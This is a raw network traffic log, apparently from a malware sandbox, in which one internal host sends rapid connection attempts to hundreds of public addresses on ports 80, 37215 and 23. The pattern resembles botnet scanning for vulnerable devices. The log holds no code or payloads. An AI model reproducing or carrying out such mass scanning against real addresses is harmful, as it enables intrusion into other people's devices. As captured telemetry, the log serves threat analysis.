Dec 3, 2024 21:01:55.123866081 CET	20129	80	192.168.2.23	168.212.216.80
Dec 3, 2024 21:01:55.123879910 CET	20129	80	192.168.2.23	48.55.218.82
Dec 3, 2024 21:01:55.123879910 CET	20129	80	192.168.2.23	47.66.177.92
Dec 3, 2024 21:01:55.123883009 CET	20129	80	192.168.2.23	82.185.67.36
Dec 3, 2024 21:01:55.123893023 CET	20129	80	192.168.2.23	219.95.98.203
Dec 3, 2024 21:01:55.123895884 CET	20129	80	192.168.2.23	9.92.249.248
Dec 3, 2024 21:01:55.123895884 CET	20129	80	192.168.2.23	196.159.209.169
Dec 3, 2024 21:01:55.123904943 CET	20129	80	192.168.2.23	78.98.182.5
Dec 3, 2024 21:01:55.140883923 CET	18849	37215	192.168.2.23	197.250.82.30
Dec 3, 2024 21:01:55.140935898 CET	18849	37215	192.168.2.23	156.236.47.248
Dec 3, 2024 21:01:55.140935898 CET	18849	37215	192.168.2.23	197.162.78.28
Dec 3, 2024 21:01:55.140953064 CET	18849	37215	192.168.2.23	197.246.94.30
Dec 3, 2024 21:01:55.140958071 CET	18849	37215	192.168.2.23	41.220.241.215
Dec 3, 2024 21:01:55.140995026 CET	18849	37215	192.168.2.23	197.212.130.33
Dec 3, 2024 21:01:55.141006947 CET	18849	37215	192.168.2.23	197.170.135.248
Dec 3, 2024 21:01:55.141006947 CET	18849	37215	192.168.2.23	156.186.94.28
Dec 3, 2024 21:01:55.141012907 CET	18849	37215	192.168.2.23	156.242.198.38
Dec 3, 2024 21:01:55.141024113 CET	18849	37215	192.168.2.23	197.143.220.253
Dec 3, 2024 21:01:55.141028881 CET	18849	37215	192.168.2.23	41.189.23.1
Dec 3, 2024 21:01:55.141032934 CET	18849	37215	192.168.2.23	197.159.119.52
Dec 3, 2024 21:01:55.141041994 CET	18849	37215	192.168.2.23	41.11.59.217
Dec 3, 2024 21:01:55.141056061 CET	18849	37215	192.168.2.23	41.186.18.154
Dec 3, 2024 21:01:55.141060114 CET	18849	37215	192.168.2.23	197.92.7.35
Dec 3, 2024 21:01:55.141063929 CET	18849	37215	192.168.2.23	197.80.202.0
Dec 3, 2024 21:01:55.141092062 CET	18849	37215	192.168.2.23	156.179.225.24
Dec 3, 2024 21:01:55.141100883 CET	18849	37215	192.168.2.23	156.9.227.182
Dec 3, 2024 21:01:55.141114950 CET	18849	37215	192.168.2.23	197.33.160.64
Dec 3, 2024 21:01:55.141122103 CET	18849	37215	192.168.2.23	41.196.221.226
Dec 3, 2024 21:01:55.141132116 CET	18849	37215	192.168.2.23	197.154.226.78
Dec 3, 2024 21:01:55.141133070 CET	18849	37215	192.168.2.23	41.234.105.226
Dec 3, 2024 21:01:55.141154051 CET	18849	37215	192.168.2.23	156.148.90.138
Dec 3, 2024 21:01:55.141155958 CET	18849	37215	192.168.2.23	41.94.34.1
Dec 3, 2024 21:01:55.141168118 CET	18849	37215	192.168.2.23	156.98.145.142
Dec 3, 2024 21:01:55.141169071 CET	18849	37215	192.168.2.23	41.22.5.43
Dec 3, 2024 21:01:55.141169071 CET	18849	37215	192.168.2.23	41.220.60.13
Dec 3, 2024 21:01:55.141197920 CET	18849	37215	192.168.2.23	197.134.242.167
Dec 3, 2024 21:01:55.141200066 CET	18849	37215	192.168.2.23	197.79.223.198
Dec 3, 2024 21:01:55.141204119 CET	18849	37215	192.168.2.23	197.88.63.147
Dec 3, 2024 21:01:55.141213894 CET	18849	37215	192.168.2.23	41.160.19.83
Dec 3, 2024 21:01:55.141232014 CET	18849	37215	192.168.2.23	156.159.76.149
Dec 3, 2024 21:01:55.141237974 CET	18849	37215	192.168.2.23	156.139.88.16
Dec 3, 2024 21:01:55.141267061 CET	18849	37215	192.168.2.23	156.191.248.1
Dec 3, 2024 21:01:55.141278028 CET	18849	37215	192.168.2.23	156.163.186.216
Dec 3, 2024 21:01:55.141294956 CET	18849	37215	192.168.2.23	197.156.74.37
Dec 3, 2024 21:01:55.141297102 CET	18849	37215	192.168.2.23	197.130.14.222
Dec 3, 2024 21:01:55.141297102 CET	18849	37215	192.168.2.23	41.23.87.182
Dec 3, 2024 21:01:55.141297102 CET	18849	37215	192.168.2.23	197.116.133.192
Dec 3, 2024 21:01:55.141318083 CET	18849	37215	192.168.2.23	156.194.183.44
Dec 3, 2024 21:01:55.141319036 CET	18849	37215	192.168.2.23	197.152.129.144
Dec 3, 2024 21:01:55.141326904 CET	18849	37215	192.168.2.23	156.9.200.161
Dec 3, 2024 21:01:55.141338110 CET	18849	37215	192.168.2.23	156.15.147.44
Dec 3, 2024 21:01:55.141343117 CET	18849	37215	192.168.2.23	41.231.219.195
Dec 3, 2024 21:01:55.141345024 CET	18849	37215	192.168.2.23	41.93.202.248
Dec 3, 2024 21:01:55.141362906 CET	18849	37215	192.168.2.23	197.91.137.165
Dec 3, 2024 21:01:55.141362906 CET	18849	37215	192.168.2.23	41.0.84.65
Dec 3, 2024 21:01:55.141364098 CET	18849	37215	192.168.2.23	41.19.81.141
Dec 3, 2024 21:01:55.141395092 CET	18849	37215	192.168.2.23	41.105.120.110
Dec 3, 2024 21:01:55.141396999 CET	18849	37215	192.168.2.23	156.32.142.125
Dec 3, 2024 21:01:55.141402960 CET	18849	37215	192.168.2.23	41.209.16.159
Dec 3, 2024 21:01:55.141412973 CET	18849	37215	192.168.2.23	197.78.63.44
Dec 3, 2024 21:01:55.141413927 CET	18849	37215	192.168.2.23	197.174.92.123
Dec 3, 2024 21:01:55.141423941 CET	18849	37215	192.168.2.23	41.165.98.50
Dec 3, 2024 21:01:55.141438961 CET	18849	37215	192.168.2.23	41.14.203.23
Dec 3, 2024 21:01:55.141447067 CET	18849	37215	192.168.2.23	156.1.138.43
Dec 3, 2024 21:01:55.141448021 CET	18849	37215	192.168.2.23	41.74.134.31
Dec 3, 2024 21:01:55.141469002 CET	18849	37215	192.168.2.23	41.37.202.154
Dec 3, 2024 21:01:55.141477108 CET	18849	37215	192.168.2.23	197.180.2.10
Dec 3, 2024 21:01:55.141485929 CET	18849	37215	192.168.2.23	197.246.89.105
Dec 3, 2024 21:01:55.141488075 CET	18849	37215	192.168.2.23	156.39.211.7
Dec 3, 2024 21:01:55.141488075 CET	18849	37215	192.168.2.23	156.31.198.241
Dec 3, 2024 21:01:55.141493082 CET	18849	37215	192.168.2.23	41.239.240.180
Dec 3, 2024 21:01:55.141522884 CET	18849	37215	192.168.2.23	156.251.127.68
Dec 3, 2024 21:01:55.141526937 CET	18849	37215	192.168.2.23	41.163.69.120
Dec 3, 2024 21:01:55.141535997 CET	18849	37215	192.168.2.23	41.184.59.107
Dec 3, 2024 21:01:55.141542912 CET	18849	37215	192.168.2.23	197.152.220.149
Dec 3, 2024 21:01:55.141546965 CET	18849	37215	192.168.2.23	156.5.46.217
Dec 3, 2024 21:01:55.141561031 CET	18849	37215	192.168.2.23	197.43.65.250
Dec 3, 2024 21:01:55.141567945 CET	18849	37215	192.168.2.23	41.248.34.42
Dec 3, 2024 21:01:55.141567945 CET	18849	37215	192.168.2.23	156.40.65.199
Dec 3, 2024 21:01:55.141587019 CET	18849	37215	192.168.2.23	156.148.214.137
Dec 3, 2024 21:01:55.141596079 CET	18849	37215	192.168.2.23	41.94.148.57
Dec 3, 2024 21:01:55.141597033 CET	18849	37215	192.168.2.23	156.201.18.134
Dec 3, 2024 21:01:55.141597033 CET	18849	37215	192.168.2.23	156.60.38.42
Dec 3, 2024 21:01:55.141609907 CET	18849	37215	192.168.2.23	156.14.19.122
Dec 3, 2024 21:01:55.141623974 CET	18849	37215	192.168.2.23	41.114.125.191
Dec 3, 2024 21:01:55.141625881 CET	18849	37215	192.168.2.23	41.250.208.161
Dec 3, 2024 21:01:55.141642094 CET	18849	37215	192.168.2.23	156.209.170.70
Dec 3, 2024 21:01:55.141649008 CET	18849	37215	192.168.2.23	197.162.249.113
Dec 3, 2024 21:01:55.141649008 CET	18849	37215	192.168.2.23	41.31.202.253
Dec 3, 2024 21:01:55.141654968 CET	18849	37215	192.168.2.23	156.24.238.199
Dec 3, 2024 21:01:55.141659975 CET	18849	37215	192.168.2.23	156.133.145.150
Dec 3, 2024 21:01:55.141670942 CET	18849	37215	192.168.2.23	41.88.24.136
Dec 3, 2024 21:01:55.141674995 CET	18849	37215	192.168.2.23	41.235.236.144
Dec 3, 2024 21:01:55.141685963 CET	18849	37215	192.168.2.23	156.171.132.207
Dec 3, 2024 21:01:55.141689062 CET	18849	37215	192.168.2.23	156.31.74.230
Dec 3, 2024 21:01:55.141700983 CET	18849	37215	192.168.2.23	197.23.110.130
Dec 3, 2024 21:01:55.141702890 CET	18849	37215	192.168.2.23	41.99.129.23
Dec 3, 2024 21:01:55.141704082 CET	18849	37215	192.168.2.23	41.228.193.214
Dec 3, 2024 21:01:55.141719103 CET	18849	37215	192.168.2.23	156.169.49.51
Dec 3, 2024 21:01:55.141719103 CET	18849	37215	192.168.2.23	156.101.10.5
Dec 3, 2024 21:01:55.141733885 CET	18849	37215	192.168.2.23	156.31.33.239
Dec 3, 2024 21:01:55.141735077 CET	18849	37215	192.168.2.23	197.0.130.106
Dec 3, 2024 21:01:55.141735077 CET	18849	37215	192.168.2.23	41.191.174.31
Dec 3, 2024 21:01:55.141738892 CET	18849	37215	192.168.2.23	197.203.128.137
Dec 3, 2024 21:01:55.141743898 CET	18849	37215	192.168.2.23	197.21.124.28
Dec 3, 2024 21:01:55.141750097 CET	18849	37215	192.168.2.23	156.204.13.44
Dec 3, 2024 21:01:55.141753912 CET	18849	37215	192.168.2.23	156.90.61.140
Dec 3, 2024 21:01:55.141767979 CET	18849	37215	192.168.2.23	41.176.131.71
Dec 3, 2024 21:01:55.141767979 CET	18849	37215	192.168.2.23	156.197.240.133
Dec 3, 2024 21:01:55.141787052 CET	18849	37215	192.168.2.23	41.128.247.31
Dec 3, 2024 21:01:55.141787052 CET	18849	37215	192.168.2.23	197.100.126.108
Dec 3, 2024 21:01:55.141803980 CET	18849	37215	192.168.2.23	197.126.210.144
Dec 3, 2024 21:01:55.141804934 CET	18849	37215	192.168.2.23	41.104.32.101
Dec 3, 2024 21:01:55.141808033 CET	18849	37215	192.168.2.23	156.74.171.213
Dec 3, 2024 21:01:55.141815901 CET	18849	37215	192.168.2.23	41.88.88.201
Dec 3, 2024 21:01:55.141822100 CET	18849	37215	192.168.2.23	41.80.133.242
Dec 3, 2024 21:01:55.141822100 CET	18849	37215	192.168.2.23	156.77.223.144
Dec 3, 2024 21:01:55.141838074 CET	18849	37215	192.168.2.23	156.181.157.225
Dec 3, 2024 21:01:55.141848087 CET	18849	37215	192.168.2.23	197.197.157.219
Dec 3, 2024 21:01:55.141870022 CET	18849	37215	192.168.2.23	41.191.170.35
Dec 3, 2024 21:01:55.141881943 CET	18849	37215	192.168.2.23	197.167.61.155
Dec 3, 2024 21:01:55.141885996 CET	18849	37215	192.168.2.23	41.31.110.91
Dec 3, 2024 21:01:55.141895056 CET	18849	37215	192.168.2.23	41.98.112.69
Dec 3, 2024 21:01:55.141896963 CET	18849	37215	192.168.2.23	197.32.155.9
Dec 3, 2024 21:01:55.141908884 CET	18849	37215	192.168.2.23	156.155.82.47
Dec 3, 2024 21:01:55.141915083 CET	18849	37215	192.168.2.23	41.204.102.219
Dec 3, 2024 21:01:55.141932011 CET	18849	37215	192.168.2.23	197.42.21.114
Dec 3, 2024 21:01:55.141936064 CET	18849	37215	192.168.2.23	41.35.193.241
Dec 3, 2024 21:01:55.141940117 CET	18849	37215	192.168.2.23	197.174.6.214
Dec 3, 2024 21:01:55.141952991 CET	18849	37215	192.168.2.23	156.163.84.65
Dec 3, 2024 21:01:55.141962051 CET	18849	37215	192.168.2.23	156.52.168.146
Dec 3, 2024 21:01:55.141983986 CET	18849	37215	192.168.2.23	197.190.7.177
Dec 3, 2024 21:01:55.141989946 CET	18849	37215	192.168.2.23	41.158.81.3
Dec 3, 2024 21:01:55.141999006 CET	18849	37215	192.168.2.23	156.157.16.24
Dec 3, 2024 21:01:55.142014980 CET	18849	37215	192.168.2.23	156.193.17.200
Dec 3, 2024 21:01:55.142025948 CET	18849	37215	192.168.2.23	156.56.61.88
Dec 3, 2024 21:01:55.142039061 CET	18849	37215	192.168.2.23	197.228.28.84
Dec 3, 2024 21:01:55.142045021 CET	18849	37215	192.168.2.23	41.51.25.88
Dec 3, 2024 21:01:55.142057896 CET	18849	37215	192.168.2.23	197.153.239.233
Dec 3, 2024 21:01:55.142060041 CET	18849	37215	192.168.2.23	156.216.255.214
Dec 3, 2024 21:01:55.142086983 CET	18849	37215	192.168.2.23	41.254.209.99
Dec 3, 2024 21:01:55.142093897 CET	18849	37215	192.168.2.23	41.143.79.182
Dec 3, 2024 21:01:55.142097950 CET	18849	37215	192.168.2.23	197.151.73.118
Dec 3, 2024 21:01:55.142098904 CET	18849	37215	192.168.2.23	156.79.212.120
Dec 3, 2024 21:01:55.142098904 CET	18849	37215	192.168.2.23	156.236.49.79
Dec 3, 2024 21:01:55.142098904 CET	18849	37215	192.168.2.23	41.179.221.194
Dec 3, 2024 21:01:55.142115116 CET	18849	37215	192.168.2.23	41.122.254.107
Dec 3, 2024 21:01:55.142117023 CET	18849	37215	192.168.2.23	41.59.122.19
Dec 3, 2024 21:01:55.142123938 CET	18849	37215	192.168.2.23	197.67.153.98
Dec 3, 2024 21:01:55.142138004 CET	18849	37215	192.168.2.23	156.232.32.217
Dec 3, 2024 21:01:55.142142057 CET	18849	37215	192.168.2.23	41.173.165.250
Dec 3, 2024 21:01:55.142154932 CET	18849	37215	192.168.2.23	41.62.17.28
Dec 3, 2024 21:01:55.142164946 CET	18849	37215	192.168.2.23	41.92.208.243
Dec 3, 2024 21:01:55.142172098 CET	18849	37215	192.168.2.23	156.23.94.228
Dec 3, 2024 21:01:55.142187119 CET	18849	37215	192.168.2.23	156.228.56.79
Dec 3, 2024 21:01:55.142205000 CET	18849	37215	192.168.2.23	156.43.116.184
Dec 3, 2024 21:01:55.142218113 CET	18849	37215	192.168.2.23	41.131.254.178
Dec 3, 2024 21:01:55.142224073 CET	18849	37215	192.168.2.23	197.231.110.239
Dec 3, 2024 21:01:55.142231941 CET	18849	37215	192.168.2.23	197.160.83.65
Dec 3, 2024 21:01:55.142234087 CET	18849	37215	192.168.2.23	156.161.65.89
Dec 3, 2024 21:01:55.142251968 CET	18849	37215	192.168.2.23	156.99.156.24
Dec 3, 2024 21:01:55.142251968 CET	18849	37215	192.168.2.23	41.97.6.247
Dec 3, 2024 21:01:55.142277002 CET	18849	37215	192.168.2.23	41.73.179.90
Dec 3, 2024 21:01:55.142277002 CET	18849	37215	192.168.2.23	197.89.51.233
Dec 3, 2024 21:01:55.142311096 CET	18849	37215	192.168.2.23	41.133.146.239
Dec 3, 2024 21:01:55.142319918 CET	18849	37215	192.168.2.23	156.65.69.22
Dec 3, 2024 21:01:55.142330885 CET	18849	37215	192.168.2.23	197.183.215.232
Dec 3, 2024 21:01:55.142335892 CET	18849	37215	192.168.2.23	41.121.160.3
Dec 3, 2024 21:01:55.142342091 CET	18849	37215	192.168.2.23	41.78.209.223
Dec 3, 2024 21:01:55.142354965 CET	18849	37215	192.168.2.23	197.223.112.45
Dec 3, 2024 21:01:55.142358065 CET	18849	37215	192.168.2.23	41.97.90.33
Dec 3, 2024 21:01:55.142369032 CET	18849	37215	192.168.2.23	41.143.240.194
Dec 3, 2024 21:01:55.142374992 CET	18849	37215	192.168.2.23	197.164.31.177
Dec 3, 2024 21:01:55.142384052 CET	18849	37215	192.168.2.23	41.111.125.133
Dec 3, 2024 21:01:55.142398119 CET	18849	37215	192.168.2.23	197.159.246.98
Dec 3, 2024 21:01:55.142399073 CET	18849	37215	192.168.2.23	197.106.177.76
Dec 3, 2024 21:01:55.142431021 CET	18849	37215	192.168.2.23	41.199.225.143
Dec 3, 2024 21:01:55.142440081 CET	18849	37215	192.168.2.23	156.68.209.164
Dec 3, 2024 21:01:55.142440081 CET	18849	37215	192.168.2.23	41.140.130.35
Dec 3, 2024 21:01:55.142441034 CET	18849	37215	192.168.2.23	197.179.136.113
Dec 3, 2024 21:01:55.142441034 CET	18849	37215	192.168.2.23	197.39.14.144
Dec 3, 2024 21:01:55.142443895 CET	18849	37215	192.168.2.23	41.10.149.92
Dec 3, 2024 21:01:55.142455101 CET	18849	37215	192.168.2.23	156.177.254.156
Dec 3, 2024 21:01:55.142467976 CET	18849	37215	192.168.2.23	156.99.62.148
Dec 3, 2024 21:01:55.142467976 CET	18849	37215	192.168.2.23	41.113.232.61
Dec 3, 2024 21:01:55.142468929 CET	18849	37215	192.168.2.23	197.204.59.75
Dec 3, 2024 21:01:55.142469883 CET	18849	37215	192.168.2.23	156.22.26.216
Dec 3, 2024 21:01:55.142482042 CET	18849	37215	192.168.2.23	197.225.45.13
Dec 3, 2024 21:01:55.142510891 CET	18849	37215	192.168.2.23	197.145.250.196
Dec 3, 2024 21:01:55.142523050 CET	18849	37215	192.168.2.23	41.168.149.244
Dec 3, 2024 21:01:55.142537117 CET	18849	37215	192.168.2.23	197.117.141.152
Dec 3, 2024 21:01:55.142544031 CET	18849	37215	192.168.2.23	41.167.226.134
Dec 3, 2024 21:01:55.142548084 CET	18849	37215	192.168.2.23	41.98.103.104
Dec 3, 2024 21:01:55.142551899 CET	18849	37215	192.168.2.23	41.81.80.173
Dec 3, 2024 21:01:55.142551899 CET	18849	37215	192.168.2.23	156.25.200.69
Dec 3, 2024 21:01:55.142565966 CET	18849	37215	192.168.2.23	197.165.199.47
Dec 3, 2024 21:01:55.142575979 CET	18849	37215	192.168.2.23	41.78.67.166
Dec 3, 2024 21:01:55.142575979 CET	18849	37215	192.168.2.23	197.173.192.247
Dec 3, 2024 21:01:55.142594099 CET	18849	37215	192.168.2.23	41.99.125.42
Dec 3, 2024 21:01:55.142606020 CET	18849	37215	192.168.2.23	197.150.61.63
Dec 3, 2024 21:01:55.142611027 CET	18849	37215	192.168.2.23	197.131.31.171
Dec 3, 2024 21:01:55.142613888 CET	18849	37215	192.168.2.23	156.113.220.179
Dec 3, 2024 21:01:55.142640114 CET	18849	37215	192.168.2.23	41.56.27.106
Dec 3, 2024 21:01:55.142643929 CET	18849	37215	192.168.2.23	41.60.66.93
Dec 3, 2024 21:01:55.142647982 CET	18849	37215	192.168.2.23	156.130.102.45
Dec 3, 2024 21:01:55.142668009 CET	18849	37215	192.168.2.23	156.85.11.201
Dec 3, 2024 21:01:55.142668009 CET	18849	37215	192.168.2.23	156.144.208.50
Dec 3, 2024 21:01:55.142678022 CET	18849	37215	192.168.2.23	156.144.114.11
Dec 3, 2024 21:01:55.142684937 CET	18849	37215	192.168.2.23	41.199.209.201
Dec 3, 2024 21:01:55.142685890 CET	18849	37215	192.168.2.23	197.144.165.16
Dec 3, 2024 21:01:55.142709017 CET	18849	37215	192.168.2.23	197.40.142.186
Dec 3, 2024 21:01:55.142710924 CET	18849	37215	192.168.2.23	197.218.232.230
Dec 3, 2024 21:01:55.142714024 CET	18849	37215	192.168.2.23	41.3.219.47
Dec 3, 2024 21:01:55.142724991 CET	18849	37215	192.168.2.23	41.112.11.96
Dec 3, 2024 21:01:55.142740965 CET	18849	37215	192.168.2.23	197.174.217.82
Dec 3, 2024 21:01:55.142745972 CET	18849	37215	192.168.2.23	41.31.249.135
Dec 3, 2024 21:01:55.142745972 CET	18849	37215	192.168.2.23	197.200.38.243
Dec 3, 2024 21:01:55.142760992 CET	18849	37215	192.168.2.23	197.167.202.183
Dec 3, 2024 21:01:55.142798901 CET	18849	37215	192.168.2.23	156.208.58.123
Dec 3, 2024 21:01:55.142802000 CET	18849	37215	192.168.2.23	156.199.105.73
Dec 3, 2024 21:01:55.142813921 CET	18849	37215	192.168.2.23	156.138.252.241
Dec 3, 2024 21:01:55.142819881 CET	18849	37215	192.168.2.23	156.12.194.196
Dec 3, 2024 21:01:55.142823935 CET	18849	37215	192.168.2.23	156.189.101.232
Dec 3, 2024 21:01:55.142827988 CET	18849	37215	192.168.2.23	41.140.172.77
Dec 3, 2024 21:01:55.142834902 CET	18849	37215	192.168.2.23	41.60.27.155
Dec 3, 2024 21:01:55.142862082 CET	18849	37215	192.168.2.23	156.79.167.96
Dec 3, 2024 21:01:55.142863989 CET	18849	37215	192.168.2.23	41.78.106.211
Dec 3, 2024 21:01:55.142874956 CET	18849	37215	192.168.2.23	41.196.4.86
Dec 3, 2024 21:01:55.142874956 CET	18849	37215	192.168.2.23	156.248.247.65
Dec 3, 2024 21:01:55.142894030 CET	18849	37215	192.168.2.23	197.186.82.187
Dec 3, 2024 21:01:55.142895937 CET	18849	37215	192.168.2.23	41.195.47.214
Dec 3, 2024 21:01:55.142896891 CET	18849	37215	192.168.2.23	41.127.103.203
Dec 3, 2024 21:01:55.142914057 CET	18849	37215	192.168.2.23	156.125.251.86
Dec 3, 2024 21:01:55.142919064 CET	18849	37215	192.168.2.23	197.201.206.190
Dec 3, 2024 21:01:55.142939091 CET	18849	37215	192.168.2.23	41.193.43.221
Dec 3, 2024 21:01:55.142940044 CET	18849	37215	192.168.2.23	41.81.28.203
Dec 3, 2024 21:01:55.142939091 CET	18849	37215	192.168.2.23	41.22.154.24
Dec 3, 2024 21:01:55.142942905 CET	18849	37215	192.168.2.23	197.187.182.102
Dec 3, 2024 21:01:55.142944098 CET	18849	37215	192.168.2.23	156.151.109.237
Dec 3, 2024 21:01:55.142949104 CET	18849	37215	192.168.2.23	41.147.56.229
Dec 3, 2024 21:01:55.142973900 CET	18849	37215	192.168.2.23	41.198.224.189
Dec 3, 2024 21:01:55.142992973 CET	18849	37215	192.168.2.23	197.10.172.82
Dec 3, 2024 21:01:55.142998934 CET	18849	37215	192.168.2.23	156.195.52.21
Dec 3, 2024 21:01:55.143002033 CET	18849	37215	192.168.2.23	156.99.188.212
Dec 3, 2024 21:01:55.143007994 CET	18849	37215	192.168.2.23	156.2.232.93
Dec 3, 2024 21:01:55.143016100 CET	18849	37215	192.168.2.23	41.189.244.85
Dec 3, 2024 21:01:55.143017054 CET	18849	37215	192.168.2.23	197.106.106.31
Dec 3, 2024 21:01:55.143033981 CET	18849	37215	192.168.2.23	41.37.221.218
Dec 3, 2024 21:01:55.143038034 CET	18849	37215	192.168.2.23	41.174.210.245
Dec 3, 2024 21:01:55.143045902 CET	18849	37215	192.168.2.23	156.111.15.10
Dec 3, 2024 21:01:55.143057108 CET	18849	37215	192.168.2.23	41.26.70.241
Dec 3, 2024 21:01:55.143069983 CET	18849	37215	192.168.2.23	156.144.18.167
Dec 3, 2024 21:01:55.143075943 CET	18849	37215	192.168.2.23	197.253.241.139
Dec 3, 2024 21:01:55.143083096 CET	18849	37215	192.168.2.23	197.209.59.201
Dec 3, 2024 21:01:55.143083096 CET	18849	37215	192.168.2.23	41.149.254.232
Dec 3, 2024 21:01:55.143105984 CET	18849	37215	192.168.2.23	41.120.95.111
Dec 3, 2024 21:01:55.143106937 CET	18849	37215	192.168.2.23	197.247.105.61
Dec 3, 2024 21:01:55.143120050 CET	18849	37215	192.168.2.23	197.111.183.53
Dec 3, 2024 21:01:55.143136978 CET	18849	37215	192.168.2.23	156.150.24.50
Dec 3, 2024 21:01:55.143141031 CET	18849	37215	192.168.2.23	197.193.85.133
Dec 3, 2024 21:01:55.143141031 CET	18849	37215	192.168.2.23	197.61.20.145
Dec 3, 2024 21:01:55.143151999 CET	18849	37215	192.168.2.23	156.4.139.216
Dec 3, 2024 21:01:55.143165112 CET	18849	37215	192.168.2.23	197.9.129.211
Dec 3, 2024 21:01:55.143179893 CET	18849	37215	192.168.2.23	156.88.77.19
Dec 3, 2024 21:01:55.143179893 CET	18849	37215	192.168.2.23	41.54.61.97
Dec 3, 2024 21:01:55.143179893 CET	18849	37215	192.168.2.23	41.111.98.194
Dec 3, 2024 21:01:55.143183947 CET	18849	37215	192.168.2.23	156.177.70.27
Dec 3, 2024 21:01:55.143186092 CET	18849	37215	192.168.2.23	197.95.117.170
Dec 3, 2024 21:01:55.143207073 CET	18849	37215	192.168.2.23	41.238.250.210
Dec 3, 2024 21:01:55.143225908 CET	18849	37215	192.168.2.23	41.151.210.239
Dec 3, 2024 21:01:55.143233061 CET	18849	37215	192.168.2.23	197.14.26.66
Dec 3, 2024 21:01:55.143239021 CET	18849	37215	192.168.2.23	156.41.209.126
Dec 3, 2024 21:01:55.143251896 CET	18849	37215	192.168.2.23	156.249.195.225
Dec 3, 2024 21:01:55.143251896 CET	18849	37215	192.168.2.23	41.177.210.169
Dec 3, 2024 21:01:55.143270969 CET	18849	37215	192.168.2.23	156.137.243.1
Dec 3, 2024 21:01:55.143277884 CET	18849	37215	192.168.2.23	156.104.22.214
Dec 3, 2024 21:01:55.143279076 CET	18849	37215	192.168.2.23	41.74.129.70
Dec 3, 2024 21:01:55.143282890 CET	18849	37215	192.168.2.23	41.116.150.65
Dec 3, 2024 21:01:55.143299103 CET	18849	37215	192.168.2.23	156.65.240.191
Dec 3, 2024 21:01:55.143301964 CET	18849	37215	192.168.2.23	156.215.13.169
Dec 3, 2024 21:01:55.143306971 CET	18849	37215	192.168.2.23	41.66.107.103
Dec 3, 2024 21:01:55.143327951 CET	18849	37215	192.168.2.23	41.201.247.147
Dec 3, 2024 21:01:55.143337965 CET	18849	37215	192.168.2.23	156.172.242.164
Dec 3, 2024 21:01:55.143341064 CET	18849	37215	192.168.2.23	197.218.22.233
Dec 3, 2024 21:01:55.143362045 CET	18849	37215	192.168.2.23	41.100.207.195
Dec 3, 2024 21:01:55.143368006 CET	18849	37215	192.168.2.23	41.63.209.124
Dec 3, 2024 21:01:55.143388033 CET	18849	37215	192.168.2.23	156.189.108.220
Dec 3, 2024 21:01:55.143388987 CET	18849	37215	192.168.2.23	41.66.150.240
Dec 3, 2024 21:01:55.143395901 CET	18849	37215	192.168.2.23	197.219.78.112
Dec 3, 2024 21:01:55.143403053 CET	18849	37215	192.168.2.23	197.61.143.6
Dec 3, 2024 21:01:55.143403053 CET	18849	37215	192.168.2.23	156.191.221.74
Dec 3, 2024 21:01:55.143414021 CET	18849	37215	192.168.2.23	41.148.166.116
Dec 3, 2024 21:01:55.143414021 CET	18849	37215	192.168.2.23	197.215.107.158
Dec 3, 2024 21:01:55.143441916 CET	18849	37215	192.168.2.23	156.197.163.55
Dec 3, 2024 21:01:55.143445969 CET	18849	37215	192.168.2.23	197.46.54.152
Dec 3, 2024 21:01:55.143457890 CET	18849	37215	192.168.2.23	41.191.124.181
Dec 3, 2024 21:01:55.143469095 CET	18849	37215	192.168.2.23	41.3.137.106
Dec 3, 2024 21:01:55.143474102 CET	18849	37215	192.168.2.23	197.80.54.240
Dec 3, 2024 21:01:55.143481970 CET	18849	37215	192.168.2.23	156.186.156.218
Dec 3, 2024 21:01:55.143491983 CET	18849	37215	192.168.2.23	156.155.215.143
Dec 3, 2024 21:01:55.143500090 CET	18849	37215	192.168.2.23	156.15.102.75
Dec 3, 2024 21:01:55.143500090 CET	18849	37215	192.168.2.23	197.219.20.71
Dec 3, 2024 21:01:55.143522024 CET	18849	37215	192.168.2.23	41.167.89.17
Dec 3, 2024 21:01:55.143534899 CET	18849	37215	192.168.2.23	41.159.241.145
Dec 3, 2024 21:01:55.143537045 CET	18849	37215	192.168.2.23	197.101.110.234
Dec 3, 2024 21:01:55.143543005 CET	18849	37215	192.168.2.23	197.119.181.207
Dec 3, 2024 21:01:55.143547058 CET	18849	37215	192.168.2.23	41.113.109.35
Dec 3, 2024 21:01:55.143551111 CET	18849	37215	192.168.2.23	41.92.139.105
Dec 3, 2024 21:01:55.143552065 CET	18849	37215	192.168.2.23	156.212.82.68
Dec 3, 2024 21:01:55.143554926 CET	18849	37215	192.168.2.23	41.49.210.59
Dec 3, 2024 21:01:55.143557072 CET	18849	37215	192.168.2.23	156.100.247.30
Dec 3, 2024 21:01:55.143570900 CET	18849	37215	192.168.2.23	156.40.76.128
Dec 3, 2024 21:01:55.143579960 CET	18849	37215	192.168.2.23	156.162.164.111
Dec 3, 2024 21:01:55.143589020 CET	18849	37215	192.168.2.23	197.213.58.61
Dec 3, 2024 21:01:55.143599987 CET	18849	37215	192.168.2.23	156.130.169.44
Dec 3, 2024 21:01:55.143608093 CET	18849	37215	192.168.2.23	156.40.113.189
Dec 3, 2024 21:01:55.143613100 CET	18849	37215	192.168.2.23	197.118.102.53
Dec 3, 2024 21:01:55.143639088 CET	18849	37215	192.168.2.23	156.151.22.11
Dec 3, 2024 21:01:55.143644094 CET	18849	37215	192.168.2.23	41.90.111.179
Dec 3, 2024 21:01:55.143657923 CET	18849	37215	192.168.2.23	41.243.192.175
Dec 3, 2024 21:01:55.143662930 CET	18849	37215	192.168.2.23	197.10.109.170
Dec 3, 2024 21:01:55.143666029 CET	18849	37215	192.168.2.23	197.238.6.66
Dec 3, 2024 21:01:55.143682003 CET	18849	37215	192.168.2.23	156.136.46.136
Dec 3, 2024 21:01:55.143688917 CET	18849	37215	192.168.2.23	41.12.73.26
Dec 3, 2024 21:01:55.143690109 CET	18849	37215	192.168.2.23	156.140.255.10
Dec 3, 2024 21:01:55.143706083 CET	18849	37215	192.168.2.23	41.191.27.119
Dec 3, 2024 21:01:55.143708944 CET	18849	37215	192.168.2.23	156.168.90.19
Dec 3, 2024 21:01:55.143770933 CET	18849	37215	192.168.2.23	41.97.64.70
Dec 3, 2024 21:01:55.218621016 CET	23	19873	77.118.127.117	192.168.2.23
Dec 3, 2024 21:01:55.218698025 CET	19873	23	192.168.2.23	77.118.127.117
Dec 3, 2024 21:01:55.218715906 CET	23	19873	201.44.99.117	192.168.2.23
Dec 3, 2024 21:01:55.218727112 CET	23	19873	128.192.39.112	192.168.2.23
Dec 3, 2024 21:01:55.218738079 CET	23	19873	95.62.59.81	192.168.2.23
